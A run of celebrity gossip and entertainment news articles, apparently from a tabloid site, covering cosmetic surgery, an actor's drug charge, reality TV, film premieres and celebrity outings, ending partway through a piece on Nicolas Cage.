The mum-of-five sustained life-changing injuries after jumping off a wall while at a theme park during a holiday to Turkey. She was left in a wheelchair for eight months and was forced to endure a six-hour surgery on her feet and ankles.

Doctors warned Katie that it could take two years for her to completely recover.

She explained: 'I broke my feet last year and before that I used to go running to keep fit and ride the horses. I can never run again, so it changed my life.

'I was in a wheelchair for eight months, I had to learn to walk again. From being in a wheelchair, I've put on loads of weight and I'm not used to that unless I'm pregnant. So I was getting frustrated. It wasn't me, I hated it, my clothes didn't fit.'

Katie confirmed that she had undergone full body liposuction and a Brazilian bum lift that works by injecting her own fat into her behind.

She explained that she decided to have a surgical lip lift after trying lip fillers and not liking them. Katie said she hated the way they made her look like a 'duck' so had them dissolved.

When GMB presenter Kate Garraway pointed out to Katie that there were other ways to lose weight than turning to liposuction, she responded: 'I tried healthy eating, it just wasn't shifting.'

She also touched on her plans to have a baby with fiance Carl, adding: 'I do want a baby, people normally have surgery after they've had a baby.

'I'll be getting married again and I do want more children, but the weight does make a difference.'

Katie also addressed having her surgery done in Turkey during the pandemic.

Turkey is currently on the government's list of red countries when it comes to travel and requires those returning to the UK to test prior to flying, quarantine for 10 days in a managed hotel on arrival and to take two Covid-19 tests while isolating.

Katie said of her trip: 'I went to a red country, but I'm working, I'm doing my YouTube, had two jabs, done all my tests.

'I knew it would be being at the hospital, then flying to an amber country and staying in a villa away from everyone.'

Current restrictions list that on return to the UK from amber countries, people must quarantine at home or the place they are staying for 10 days and complete two tests before or on day two and on or after day eight.

Katie has previously dubbed herself a 'surgery veteran' after countless operations including three facelifts and three bouts of liposuction.

She admitted she can't remember how many boob jobs she's had, but believes it is 12, while insisting that Botox no longer works on her after having it so many times since the age of 30.
Former Home and Away star Orpheus Pledger has asked a magistrate to 'be gentle' on him after cops allegedly caught him with a quantity of methamphetamine - the deadly drug ice.

Pledger, who is known for flaunting his muscular frame in shirtless photos on Instagram, appeared before the Melbourne Magistrates' Court on Wednesday on two counts of drug possession.

He had been arrested by Prahran uniformed police on February 19 where he was found with just over half a gram of meth and 30 Diazepam tablets.

Pledger's Home and Away character Mason Morgan (left) was killed off in the 2019 season finale. He was caught by uniformed police allegedly in possession of meth.

Pledger, of Northcote in Melbourne's inner suburbs, was arrested and later bailed by police.

He appeared in court before Magistrate Hugh Radford via videolink from his loungeroom- due to Victoria's ongoing Covid-19 threat.

Dressed in a black t-shirt and wearing dark spectacles, Pledger's cat could be seen wandering past as he asked for his matter to be adjourned to allow him to seek legal advice.

Pledger contested details of his alleged offending be released to the media.

'Well, seeing as though I don't have counsel present, I would like to keep things out of the media until the matter is resolved,' he told the magistrate.

'That well may be your wish,' Mr Radford replied, 'but the issue is ... if we were in normal times, the media is quite entitled to sit at the back of the court ... so I don't believe I could restrict them from at least obtaining a copy of the charges.'

Pledger quit Home And Away in 2019 after deciding he wanted to pursue a career in music. He is pictured here with his former co-star Olivia Deeble

A despondent Pledger reluctantly accepted the magistrate's call, before pleading for mercy.

'Be gentle, your honour,' he said.

Mr Radford laughed.

'I'm always gentle sir,' he said.

Drug possession in Victoria can earn an offender anywhere up to a year in prison.

However, first time offenders can often escape with anything from fines to good behaviour bonds should they plead guilty at the earliest opportunity.

Any kind of conviction would be devastating to the career aspirations of the young star, who has been trying to reinvent himself as a music producer.

Pledger quit Home And Away in 2019 after deciding he wanted to pursue a career in music.

He recently returned to screens to bare all for Seven's All-New Monty: Guys & Gals.

Last month, the 28-year-old raised eyebrows after he revealed a lot more than he bargained for while filming himself in the shower .

The Adonis-like star briefly exposed his manhood in the raunchy clip.

Pledger began by showing off his jacked physique in the shower before stepping out naked and preening in front of the bathroom mirror.

He pulled several faces while highlighting his abs and pecs, but his precarious hand placement meant his genitals were momentarily visible.

Pledger appeared in court via videolink with his cat

LIFE AND TIMES OF HOME AND AWAY HUNK 2002: Aged 8, Pledger starred in short film Lamb. 2004: Appears in science fiction children's series Silversun. 2011: Pledger joined the cast of Neighbours as student Noah Parkin in a recurring role. 2014: Pledger appeared in the Nine Network television film Schapelle - on the life of drug runner Schapelle Corby. 2015: Pledger joins Home and Away as Mason Morgan. 2019: His character is killed off and he announces a new career in music. Advertisement

Pledger later deleted the clip, but it was soon picked up by fan accounts.

Home and Away viewers were both shocked and delighted by the accidental display, with several asking him to join OnlyFans.

In December, the actor explained that he had been working on a number of 'POP tracks' as part of his new career in music.

'So happy to be producing music. Can't wait for you all to hethe tracks I have in store for you,' he teased on Instagram at the time.

Just months earlier, Pledger debuted his romance with model Jacinda Gulen.

A friend of the couple confirmed their relationship to Daily Mail Australia.

'Orpheus is the most happiest I've seen him in a while. He has been isolating with his new girl,' the source said at the time.

However, the pair have since split.

In September he used his social media pulling power to back men's health during the pandemic.

'Social media influencers should use their voices to unite,' he said then.

'And at least get the conversations started about how to combat the effects that the coronavirus is having on our lives,' he continued.
Channel Seven is set to introduce a brand-new house for the upcoming season of Big Brother VIP after the producers were evicted from the Manly compound.

'Construction is now under way, in a Covid-safe manner, on the new custom-built house,' a Seven spokesman told TV Blackbox on Wednesday.

According to the website, a self-contained complex is being built in Sydney Olympic Park, ahead of the celebrity housemates' arrival next month.

Under construction: Channel Seven is set to introduce a brand-new house for the upcoming season of Big Brother VIP after the producers were evicted from the Manly compound (above)

The new Big Brother house has been approved by the local council, and will have a completely different feel compared to the previous two seasons on Seven.

The Manly complex that housed contestants during the 2020 and 2021 seasons was demolished in January, shortly after filming wrapped late last year.

Seven hired the huge warehouse early last year to film new episodes, instead of buying or renting a luxury home.

Unlikely location: According to TV Blackbox, a self-contained complex is being built in Sydney Olympic Park (pictured), ahead of the celebrity housemates' arrival next month

They way it used to look: In September, Daily Mail Australia revealed the Manly warehouse had undergone a major refurbishment ahead of filming the 2021 season

Producers were forced to find a new location after being served an eviction notice by the National Parks and Wildlife Service.

The eviction notice was issued due to concerns for local wildlife

Furthermore, production company Endemol Shine apparently only had a two-season deal with the owners of the site.

Big Brother was previously filmed at a $13million house at Dreamworld, on the Gold Coast, but the property was burned down by vandals in 2019.

End of an era! Photos obtained by Daily Mail Australia in January showed the purpose-built studio in Manly being deconstructed, just weeks after the 2021 season wrapped production

Moving on: Producers were forced to find a new location after being served an eviction notice by the National Parks and Wildlife Service last year. Pictured: Big Brother host Sonia Kruger

Big Brother host Sonia Kruger recently told KIIS 106.5 viewers will be genuinely excited for the VIP spin-off, thanks to its all-star cast.

'I can just tell you there are some extraordinary internationals who will be taking part,' she said.

Rumoured housemates include Vanderpump Rules star Jax Taylor, The Bachelorette's Jamie Doran and Angela Clancy from last year's season of Big Brother.
Bridget Malcolm recently declared she was a 'healthy weight' after spending years starving herself while modelling for brands like Victoria's Secret.

And speaking out has clearly lifted a weight off her shoulders, as the 29-year-old couldn't wipe the smile off her face while spending the day at the beach on Tuesday.

She beamed for the camera while going for an ocean swim in a red bikini, in photos shared to Instagram.

Feeling good: Speaking out against Victoria's Secret has clearly lifted a weight off Bridget Malcolm's shoulders, as she looked cheerful while spending the day at the beach on Tuesday

One photo showed her walking back to the shore, while another showed her standing in the water while looking into the distance.

Last month, Bridget accused Victoria's Secret of 'performative allyship' while revealing how underweight she was during its annual Fashion Show in 2016.

She hit out at the company in a TikTok video in which she tried on the 30A-cup bra she wore on the runway to demonstrate how it no longer fits her 34B frame.

Idyllic: One photo showed a bikini-clad Bridget walking back to the shore, while another showed her standing in the water while looking into the distance

'I found my bra from the 2016 Victoria's Secret fashion show,' she explained, while holding up the tiny undergarment. 'It is a size 30A.

'I am now a size 34B. Which is healthy for me.'

She went on to detail her negative experience with the lingerie giant, which recently axed its catwalk show and cast of 'Angels' in favour of hiring a group of seven 'diverse spokeswomen', including transgender and plus-size models, who will promote its woke new rebrand in a podcast.

Speaking out: Last month, Bridget accused Victoria's Secret of 'performative allyship' while revealing how underweight she was during its annual Fashion Show in 2016

'Too little, too late Victoria's Secret,' Bridget said, adding: 'Your performative allyship is a joke.'

Performative allyship, also known as performative activism, is a term used to describe when a person or brand publicly aligns itself with a cause in order to improve their public image and reputation.

Bridget has often claimed she felt pressure to maintain an unhealthy weight during her days as a model, and said Victoria's Secret was one of the worst offenders.
The new family drama film, Blue Bayou, starring Alicia Vikander and Justin Chon, made its world premiere at the Cannes Film Festival on Tuesday, July 13.

Acquired by Focus Features from the 2020 Cannes virtual market, Blue Bayou follows a New Orleansbased tattoo artist who, despite living in the U.S. since being adopted from Korea when he was three-years-old, faces deportation following an unrelated, minor arrest.

His struggle to stay in the U.S., and keep his family intact, is showcased in a new trailer that dropped simultaneously with the world premiere.

Debut! The first trailer for Blue Bayou, starring Alicia Vikander and Justin Chon, dropped on Tuesday, the same day it made its world premiere at the 2021 Cannes Film Festival

In its synopsis, Focus Features described Blue Bayou as 'a moving and timely story of a uniquely American family fight for their future.'

Chon plays Antonio LeBlanc, a Korean adoptee raised in a small town in the Louisiana bayou, who's married to the love of his life Kathy, portrayed by Alicia Vikander, and is the doting stepdad to their beloved daughter Jessie.

After he gets arrested, due to a misunderstanding, Antonio is transferred to the U.S. Immigration and Customs Enforcement (ICE), where he faces deportation from the only country he has ever called home.

Family immigration drama: Focus Features described Blue Bayou as 'a moving and timely story of a uniquely American family fight for their future'

Timely: The story follows a New Orleansbased tattoo artist who, despite living in the U.S. since being adopted from Korea when he was child, faces deportation following an unrelated, minor arrest

Heartfelt: Antonio is also a doting stepdad to his wife's beloved daughter Jessie

As seen in the teaser, Antonio has no choice but to legally fight the flawed immigration system in order to have a chance at staying with his wife and daughter.

The timely film, which is inspired by true events, also stars Mark O'Brien, Linh Dan Pham, Vondie Curtis-Hall, Emory Cohen, and Sydney Kowalske.

Along with the leading man role, Chon also serves as the writer and director for the film, which is his fourth feature following the likes of Ms. Purple, Gook, and Man Up.

Chon previously spoke to Collider about his responsibility as an Asian-American creator in Hollywood.

Family drama: The family is threatened to be torn apart when Antonio faces deportation following an unrelated, minor arrest

Emotional: The family has no choice but to legally fight the flawed immigration system in order for Antonio to have a chance at staying with his wife and daughter in the U.S.

Legal battle: Kathy fights for her family after Antonio is transferred to the U.S. Immigration and Customs Enforcement (ICE), where he faces deportation

'I realize how I add the value to the Asian American community right now. We have Justin Lin, we have James Wan, and John Chu  they're doing that space incredibly well.

Theyre doing the studio system so and more commercial traditional films. I think Im so well served in telling these much more intimate stories that bring empathy to us, to our community, and portray us in an authentic way  and I think that is penetrating the culture in a different way."

Many fans know Chon for his role as Eric Yorkie in the wildly successful Twilight film franchise (2008-2012).

Focus Features is slated to release Blue Bayou in the U.S. on September 17, 2021.

Acclaimed: Along with the leading man role, Chon also serves as the writer and director for the film, which is his fourth feature following the likes of Ms. Purple, Gook, and Man Up.

Twilight fame: Many fans know Chon, 40, for his role as Eric Yorkie in the wildly successful Twilight film franchise (2008-2012)
On Sunday, Hedwig and the Angry Inch's John Cameron Mitchell was spotted for the first time taking on the titular role of Peacock limited series, Joe Exotic.

The Texan-born 58-year-old rocked a blonde mullet wig, guy-liner, and a natural mustache in order to more authentically portray Joe Maldonado-Passage on the Brisbane, Australian set.

John and another actor playing Joe's partner between 19862001 - Brian Rhyne - were shooting a nineties-era scene of a ribbon-cutting ceremony for the opening of Super Pets.

Before the bleach and tattoos! On Sunday, Hedwig and the Angry Inch's John Cameron Mitchell (L) was spotted for the first time in the titular role of Peacock limited series, Joe Exotic

In real life, Maldonado-Passage (then known as Schreibvogel) bought Pet Safari in Arlington, TX with Rhyne, who died of complications from HIV in 2001.

After cutting the ribbon, Mitchell passionately packed on the PDA with his castmate in the show, which will also stream on NBC and USA Network.

The 58-year-old former roadside zookeeper eventually went on to marry Travis Maldonado (played by Nat Wolff) John Finlay (played by Sam Keeley) in a 2015 throuple wedding ceremony.

Joe Exotic was the Tony-winning triple-threat's 'first audition in about 25 years' and he believes he understands Maldonado-Passage.

The Shrill actor added: 'Get a gun and say, "I'm more of a f***ing a**hole than you are. I've got my hand in a tiger's mouth. My other hand around my three boyfriends." So in some way, you do admire this kind of pathetic desire to outdo his oppressor'

Action! The Texan-born 58-year-old rocked a blonde mullet wig, guy-liner, and a natural mustache in order to more authentically portray Joe Maldonado-Passage on the Brisbane, Australian set

Couple: John and another actor playing Joe's partner between 19862001 - Brian Rhyne - were shooting a nineties-era scene of a ribbon-cutting ceremony for the opening of Super Pets

RIP: In real life, Maldonado-Passage (then known as Schreibvogel) bought Pet Safari in Arlington, TX with Rhyne, who died of complications from HIV in 2001

Loved up: After cutting the ribbon, Mitchell passionately packed on the PDA with his castmate in the show, which will also stream on NBC and USA Network

'I grew up in a lot of the places he lived in. So I kind of know something about him. We're the exact same age within six weeks,' John told Page Six in May.

'When you grow up queer in that environment, you hate yourself because everybody hated you. And his way of dealing with it was to imitate his oppressor.

'Get a gun and say, "I'm more of a f***ing a**hole than you are. I've got my hand in a tiger's mouth. My other hand around my three boyfriends." So in some way, you do admire this kind of pathetic desire to outdo his oppressor.'

Mitchell added: 'I don't think in life, it's a very good policy, because you end up just becoming the a**hole that you hated. But a lot of people do it. And so, I understand him without in any way condoning.'

Widower: The 58-year-old former roadside zookeeper eventually went on to marry Travis Maldonado (played by Nat Wolff) John Finlay (played by Sam Keeley) in a 2015 throuple wedding ceremony

Dipped! Joe Exotic was the Tony-winning triple-threat's 'first audition in about 25 years' and he believes he understands Maldonado-Passage

John told Page Six in May: 'I grew up in a lot of the places he lived in. So I kind of know something about him. We're the exact same age within six weeks'

Mitchell continued: 'When you grow up queer in that environment, you hate yourself because everybody hated you. And his way of dealing with it was to imitate his oppressor'

The Shrill actor is actually allergic to cats and he was relieved when producers decided to make all the animals CGI for Joe Exotic.

Last Thursday, John - who had a mandatory 14-day quarantine in Sydney - shared a BTS Instagram snap of a pierced nipple prosthetic stuck to his dressing room mirror.

Justin Tipping directs the first four episodes of the series based on Robert Moor's 2020 Wondery podcasts, Joe Exotic and Over My Dead Body.

Kate McKinnon produces and stars as Joe's nemesis Carole Baskin alongside Dennis Quaid, Kyle MacLachlan, William Fichtner, Brian Van Holt, Dean Winters, Joel Marsh Garland, and Lex Mayson.

PETA will approve! John is actually allergic to cats and he was relieved when producers decided to make all the animals CGI for Joe Exotic

What's to come! Last Thursday, Mitchell - who had a mandatory 14-day quarantine in Sydney - shared a BTS Instagram snap of a pierced nipple prosthetic stuck to his dressing room mirror

Source material: Justin Tipping directs the first four episodes of the series based on Robert Moor's 2020 Wondery podcasts, Joe Exotic and Over My Dead Body

The 62-year-old Twin Peaks alum - who plays Carole's third husband Howard Baskin - shared a silly snap on Sunday captioned: 'Don't mind me. Just doing a little research preparing for my new role in the series Joe Exotic.'

The gun-toting openly gay polygamist is currently serving a 22-year prison sentence for two counts of murder for hire, eight violations of the Lacey Act, and nine violations of the Endangered Species Act.

Tiger King: Murder, Mayhem and Madness held the No. 1 spot on Netflix top 10 most streamed list for 25 days straight between March-April 2020 - amassing over 34M viewers.

Cast: Kate McKinnon (L) produces and stars as Joe's nemesis Carole Baskin alongside Dennis Quaid (M), Kyle MacLachlan (R), William Fichtner, Brian Van Holt, Dean Winters, and more

The 62-year-old Twin Peaks alum - who plays Carole's third husband Howard Baskin - shared a silly snap on Sunday captioned: 'Don't mind me. Just doing a little research preparing for my new role in the series Joe Exotic'

'I'm done with the Carole Baskin saga': The gun-toting openly gay polygamist (pictured in 2020) is currently serving a 22-year prison sentence for two counts of murder for hire, eight violations of the Lacey Act, and nine violations of the Endangered Species Act

Directing duo Eric Goode & Rebecca Chaikli's eight-part docuseries truly became a pop culture phenomenon in the age of COVID-19 quarantine and spawned a number of spin-offs.

Speaking of which, on Tuesday, Amazon decided not to move forward with its own eight-episode Tiger King spin-off starring Oscar winner Nicolas Cage as Joe - according to THR.

Producers of the proposed show, based on a 2019 Texas Monthly article, will shop the project around to other networks.

Amassing over 34M viewers! Tiger King: Murder, Mayhem and Madness held the No. 1 spot on Netflix top 10 most streamed list for 25 days straight between March-April 2020

Here, kitty kitty: Directing duo Eric Goode & Rebecca Chaikli's eight-part docuseries truly became a pop culture phenomenon in the age of COVID-19 quarantine and spawned a number of spin-offs
Fitness entrepreneur Kayla Itsines just sold her Sweat workout business to an American software giant for $400million.

And to celebrate the record-breaking payday, the 30-year-old mother of one treated herself to a new set of wheels on Friday.

Kayla visited a Mercedes dealership in Adelaide while accompanied by her sister Leah and a group of friends.

Pay day! To celebrate the record-breaking sale of her Sweat workout business, Kayla Itsines (left, with a nanny and her daughter Arna) treated herself to a new set of wheels on Friday

She dressed casually in a charcoal tracksuit with white socks and sneakers.

Kayla was also joined by her two-year-old daughter Arna, whom she shares with her ex-fiance and business partner Tobi Pearce, and a nanny.

The celebrity trainer was clearly in a happy mood as she arrived at the dealership.

Luxury shopping trip: The 30-year-old mother of one visited a Mercedes dealership in Adelaide while accompanied by her sister Leah and a group of friends

Excited: The celebrity trainer was clearly in a happy mood as she arrived at the dealership

Someone's happy! Kayla threw an arm around a male friend's neck and playfully wrestled him as they strolled into the showroom

Kayla threw an arm around a male friend's neck and playfully wrestled him as they strolled into the showroom.

After spending half an hour inside the dealership, the Sweat co-founder emerged carrying a set of keys, ready to drive off in her new car.

Kayla chatted to the Mercedes sales team and even took a few photos of her smiling daughter.

Sporty chic: She dressed casually in a charcoal tracksuit with white socks and sneakers

Keys to the kingdom: After spending half an hour inside the dealership, the Sweat co-founder emerged carrying a set of keys, ready to drive off in her new car

Kayla looked very happy with her purchase: a shiny black Mercedes.

Notably absent from the shopping trip was Kayla's new boyfriend, known as Mitch G.

Mitch and Kayla have been dating for several months, but the notoriously private businesswoman has yet to comment on the relationship.

Ready to ride: Kayla waited patiently as the Mercedes staff prepared her new vehicle

Conversation: Kayla appeared to be in a good mood as she chatted to the sales team

Kayla confirmed she had found love again in an interview with Australian Women's Health in May, but stopped short of revealing the mystery man's identity.

'It's early days, so I won't share too much. But I'm super happy. We have a strong sense of family and a love for fitness [in common],' she said.

Kayla confirmed her split from Tobi, who is Arna's father, in August last year.

The former couple, who were together for eight years, co-founded the Bikini Body Training Company - later renamed Sweat - after meeting in late 2012.

Smile for mum! She even took a few photos of her smiling daughter

Where's her beau? Notably absent from the shopping trip was Kayla's new boyfriend, Mitch G

The business partners sold their health and fitness empire for $400million, according to The Courier Mail on Tuesday.

The company was bought by U.S. software giant iFIT Health & Fitness Inc.

In 2020, the Sweat app generated a staggering $99.5million in revenue, with the majority of sales coming from the American market.

Despite the company changing hands, the young millionaires will continue to manage the business from its headquarters in Adelaide.

Tight-lipped: Mitch and Kayla have been dating for several months, but the notoriously private businesswoman has yet to comment on the relationship

Massive deal: Kayla and her ex-partner Tobi Pearce (left) sold their Sweat fitness empire to U.S. software giant iFIT Health & Fitness Inc for $400million

Tobi told The Australian they remain committed to leading the brand from Australia.

'Kayla and I have had a very strong and long working relationship and this is the beginning of chapter two for both of us,' he said.

'I'm very much looking forward to a bigger and better Sweat  our headquarters will remain in Adelaide and we have a second office in Melbourne and that will reman there as well,' he added.

Staying in Australia: Despite the company changing hands, the young millionaires will continue to manage the business from its headquarters in Adelaide

Kayla and Tobi were ranked joint fifth on the Australian Financial Review's Young Rich List for 2018, making them the wealthiest self-made twentysomethings in Australia.

That year, Forbes estimated the then-couple's shared net worth to be $696million.

The Sweat fitness program helps people transform their bodies and achieve dramatic weight loss at the gym or from home.

At the time of their separation last year, Kayla said in a statement that she and Tobi would remain friends and business partners.
Charlie's Angels production assistant Shaun O'Banion weighed in on the alleged fight between Bill Murray and Lucy Liu on set of the 2001 hit film.

In response to a tweet that the 52-year-old star got allegedly physical with Murray, 70, O'Banion, 45, the producer claimed the actors' argument did not escalate to violence, but did allegedly end in tears.

The producer wrote that the alleged fallout was allegedly due to Murray rewriting 'a bunch of scenes without telling anyone (including Drew [Barrymore] who was a producer).'

At odds: Charlie's Angels production assistant Shaun O'Banion weighed in on the alleged fight between Bill Murray and Lucy Liu on set of the 2001 hit film

'He put the new pages in everyone's trailers & everyone came to set wondering where the hell the new pages had come from. Murray was the last to step on stage and by that time there was already mass confusion,' he tweeted.

O'Banion claimed the action comedy's director, McG, was 'p**sed that no one had consulted him' or the assistant.

When McG asked Murray if he got the 'new pages' in his trailer, O'Banion claims Murray said, 'No. But I put new pages in everyone else's trailer.'

Emotional: In response to a tweet that the 52-year-old star got allegedly physical with Murray, 70, O'Banion, 45, the producer claimed the actors' argument did not escalate to violence, but did allegedly end in tears

O'Banion described Barrymore and her partner being allegedly 'pretty upset' by his decision, while claiming Murray responded by saying: 'I'm making it better, ok? You've got, like, 16 writers on this thing.'

That's when Liu allegedly took a stand and told Murray the rewrite was 'way out of line.'

O'Banion went on to claim that Murray said: 'I don't know what you're complaining about. I have you more lines. I mean look who you're in with here. You're TV and this is the big league.'

Tweet: While reflecting on the alleged argument last week, the producer wrote that the 'fallout' was due to Murray rewriting 'a bunch of scenes without telling anyone (including Drew [Barrymore] who was a producer)'

'He put the new pages in everyone's trailers & everyone came to set wondering where the hell the new pages had come from. Murray was the last to step on stage and by that time there was already mass confusion,' he claimed

Latest: O'Banion claimed the action comedy's director, McG, was 'p**sed that no one had consulted him.' as well as the assistant director as well as 'Drew's producing partner'

He then said, Liu allegedly yelled, 'F**k you, you f**king c********r!'

'And the AD's promptly cleared the stage as Lucy ran off the stage crying. Cameron was trying to be the peacekeeper and protect Drew as the AD's cleared the stage. Of course all of us in production had to stay inside to keep people out.'

O'Banion continued: 'I love Bill Murray (and had worked with him before), but what he said to her was totally uncalled for. Really belittling and s***ty.'

O'Banio claimed recalled the action comedy's director, McG, was 'p**sed that no one had consulted him.' as well as the assistant director as well as 'Drew's producing partner'

Unbelievable: When McG asked Murray if he got the 'new pages' in his trailer, O'Banion claims Murray said, 'No. But I put new pages in everyone else's trailer'

Long time ago: O'Banion described Barrymore and her partner being allegedly 'pretty upset' by his decision, while Murray was like, 'I'm making it better, ok? You've got, like, 16 writers on this thing'

Leaving in tears: That's when Liu allegedly take a stand and told Murray the rewrite was 'way out of line'

OBanion claimed that the alleged fight happened 'pretty early in the process,' but the 'crew already really liked Lucy (and Cameron [Diaz] and Drew).'

The film producer claimed that 'no punches were thrown at least not physically,' but 'later apologized though not entirely sincerely.'

Charlie's Angels grossed $264 million worldwide in the the theaters when released on 2000.

OBanion concluded that the alleged fight happened 'pretty early in the process,' but the 'crew already really liked Lucy (and Cameron [Diaz] and Drew)'
She is the stunning and statuesque Canadian-Australian model and author who is known for her incredible Rockabilly style.

And Tara Moss certainly turned heads when she went for a swim at a lake in British Columbia with her husband Berndt Sellheim on Tuesday.

The 48-year-old stunned in an animal print bikini as she lapped up the warm Canadian sunshine.

Wild thing! Model and crime author Tara Moss showed off her incredible figure in an animal print bikini as she went for a swim in a lake in Canada with her husband Berndt Sellheim on Tuesday

Tara's Fifties-style suit showed off a hint of cleavage and she gave a nod to her second home Australia by shielding her flawless face with an Akubra hat.

For the outdoor outing, the mother-of-one wore her signature swipe of red lipstick and a pair of Ray-Ban shades.

The documentary maker and journalist said she felt blessed to be lapping up the sun.

'Havent been doing much of this going outdoors business lately, and good goddess do I feel lucky today. Sending sunny blessings to you and yours from BC,' she wrote alongside Instagram pictures of her relaxing day out.

Fun in the sun! The 48-year-old stunned in an animal print bikini as she lapped up the warm Canadian sunshine alongside her hubby

Tara has been relying on a walking stick for the past few years following a hip injury.

She runs an Instagram account devoted to normalising walking stick use, and calls hers 'Wolfie'.

Appearing on Seven's The Morning Show back in 2019, she shared her mission to normalise walking sticks.

'Visibility matters, so it's important to start being more open about it,' she said. 'I was hoping that I wouldn't need it, but now I embrace it.'

'The walking stick helps me to be more active, enjoy my life more fully and with less pain, and that's true for a lot of other people,' Tara added.

'So I want to be out there and representing, as they say.'

'Once it's a reality in your life, you have to either embrace it or hide it, and I don't want to hide it.'

Tara, who is based in Vancouver with her husband Berndt and daughter Sapphira.
Hollywood megastar Nicole Kidman is known to be close to her mother Janelle and her lookalike sister Antonia.

And on Wednesday, the Academy Award winner shared a sweet tribute to her younger sibling as she celebrated her 51st birthday.

Nicole, 54, posted a flashback photo of the pair from their childhood and wrote: 'Love sharing this life with you.'

Looking back: On Wednesday, Nicole Kidman shared a sweet childhood photo of herself with her lookalike sister Antonia as she paid tribute to her on her birthday. Nicole is pictured left and Antonia, right

'To my darling sister - happy birthday,' she added, alongside a cake, love heart and star emoji.

In the image, both Nicole and Antonia pose by the water and wear matching shorts, T-shirts and hats.

In October last year, Nicole revealed just how close she is to her sister.

Close: In October last year, Nicole revealed just how close she is to her sister. At the time, she revealed they have their own 'secret language'

During a chat with WSJ Magazine Editor in Chief Kristina O'Neill to promote her show The Undoing, Nicole admitted that she and Antonia have their own 'secret language.'

The topic came up after Kidman was asked about her connection to co-star Hugh Grant.

Recalling how they first met over two decades ago, the Big Little Lies talent said: 'I've known him since we were in our early 20s.

'We went to dinner at a place in London called The Ivy with his then girlfriend Liz Hurley and my sister and just a huge bunch of people and we just kind of clicked.'

That night Hugh became fascinated with Nicole and her sister's special style of communicating.

Family: Nicole is pictured with Antonia and their mother Janelle

Nicole explained: 'My sister and I were speaking our secret language and Hugh was fascinated, because my sister and I have this language that we can speak so we can be understood in a crowd and nobody can understand us.'

O'Neill prodded for a bit more information but the Moulin Rouge star only laughed saying: 'If I end up telling you then you'll be able to decode it.'

Nicole called the secret language 'silly' but said it's always come in handy.

'It is helpful, let me tell you. It was really helpful when we were like at parties and they were and we had our boyfriends and stuff we would be able to use our language and they'd all be like "What?"'

'It's a really good tip all the sisters out there,' she went on.
Despite a previous career in politics, Alisha Aitken-Radburn has admitted she's 'disillusioned' with Australia's government at the moment.

In an interview with AAA, as re-reported by PerthNow, the 28-year-old former Bachelor star and Labor staffer referred to the many political scandals that had surfaced this year.

Among them was Brittany Higgins, a former Liberal staffer who alleged she'd been raped in Parliament House by a colleague.

Losing faith: Despite a previous career in politics, Alisha Aitken-Radburn (pictured) has admitted she's 'disillusioned' with Australia's government at the moment

The 26-year-old went public with her ordeal in February, sending shockwaves through the government and the Australian public.

Since Ms Higgins spoke out, several more allegations have been levelled against Australian politicians and political staffers.

'I've been feeling so disillusioned, it's been a horrible year. I didn't want to feel like I'd have to seek out other arenas to make change in this world to make a difference,' said Alisha.

'Disillusioned': In an interview with AAA, as re-reported by PerthNow, the 28-year-old former Bachelor star and Labor staffer referred to the many political scandals that had surfaced this year. Pictured, Prime Minister Scott Morrison at a press conference in Sydney on Tuesday

'I've always seen politics and Parliament House as the most practical way we can make a difference to people's lives.'

Despite her disillusionment, Alisha said she and her boyfriend, Glenn Smith - who she met on last year's season of Bachelor in Paradise - still take enjoyment from watching political programs.

'Me and my partner, Glenn - we are big fans of what we call "ABC Mondays" just because it's a great line-up - 7.30 Report, Australian Story, Four Corners, Media Watch,' she explained.

Nights in: Despite her disillusionment, Alisha said she and her boyfriend, Glenn Smith (left) - who she met on last year's season of Bachelor in Paradise - still take enjoyment from watching political programs

'So we just park up with a red wine and enjoy the night.'

But she confessed that she's had to 'switch off' as the triggering stories started to take a toll.

'I just found every Monday night it was just bombardment of all these awful stories. I actually ended up having to switch off,' she added.

'I just found every Monday night it was just bombardment of all these awful stories. I actually ended up having to switch off,' she said

'Like many women who have worked in politics, I could identify particular strands of those stories with my own experience.'

In an interview with Honi Soit in October 2018, Alisha admitted she risked her political career by appearing on The Bachelor.

Alisha said it was difficult to 'put aside everybody's opinions' about whether her stint on reality TV was career suicide.
Kurt Coleman has given fans a grim update on his health, weeks after being rushed to hospital with pancreatitis.

Posting to Instagram Stories on Wednesday, the Melbourne influencer, 24, told fans he's been battling with extreme hair loss since leaving hospital, and now doesn't feel 'pretty' enough to appear on camera.

'What's happened to me the last few months has really affected me. Like, I just don't feel the same. And like, so much of my hair's fallen out. It's just been crazy,' Kurt lamented, his head covered with a beanie.

'So, when my hair is getting back and I can work out again, and I feel pretty again, then I'll probably be videoing myself again,' he explained.

Kurt, who previously described his stay in hospital as 'traumatic', went on to add: 'I've just been going through so much and I don't feel like being on camera... actually, it's the last thing I want to do, and it's usually the thing I love doing the most. But right now, I really just don't feel like it.'

In an unfortunate twist, Kurt said he's been struggling with more than his health of late, after discovering a mould infestation in his new home.

'You can see my f**king scalp': Kurt Coleman, 24 revealed his HAIR is falling out in clumps during an Instagram Story video on Wednesday - weeks after being rushed to hospital with pancreatitis

'I just got out of hospital and then I moved house the next week, and found all that mould,' he said.

'So literally, this week has been the first week where I've been just relaxing all day in pyjamas and chilling. And it's making me feel so much better, way less pain and everything.

Kurt finished his video by sharing a heartbreaking confession about the lifelong consequence of his hair-loss battle.

'I just don't feel the same': Kurt, who previously described his stay in hospital as 'traumatic', explained that he's been battling with extreme hair loss since leaving hospital, and now doesn't feel 'pretty' enough to appear on camera

'I've been going through heaps and changing my mind with what I want to do with my hair, so now I have chosen to just be on a pill I'll have to take for the rest of my life,' he confessed.

'My hair has been falling out for a while, but after I came out of hospital it's just, like, you can see my f**king scalp,' Kurt added.

In the caption, the internet sensation hit back at critics accusing him of being 'vain' for worrying about his hair.

'I don't feel like myself without my hair so it hurts me': In the caption, the internet sensation hit back at critics accusing him of being 'vain' for worrying about his hair. Pictured: Kurt in hospital after being diagnosed with pancreatitis last month

'For everyone saying it's not that bad... I know... but for me it is. I don't feel like myself without my hair so it hurts me,' he snapped.

'People can say that's vain but how I look makes me feel happy? If I look yuck I feel sad so maybe I am vain. And I don't really care if I am or not.'

Kurt previously told fans that excessive alcohol consumption was behind his pancreatitis diagnosis.
Nicolas Cage and his fifth wife Riko Shibata made their official red carpet debut as man and wife at the Los Angeles premiere of his film Pig on Tuesday night.

At 57, the eccentric grandfather-of-four is 31 years older than his bride, whom he met in her native Japan in 2020.

The newlyweds - who got engaged on FaceTime - tied the knot on February 16 in an intimate ceremony at Nevada resort and casino, Wynn Las Vegas.

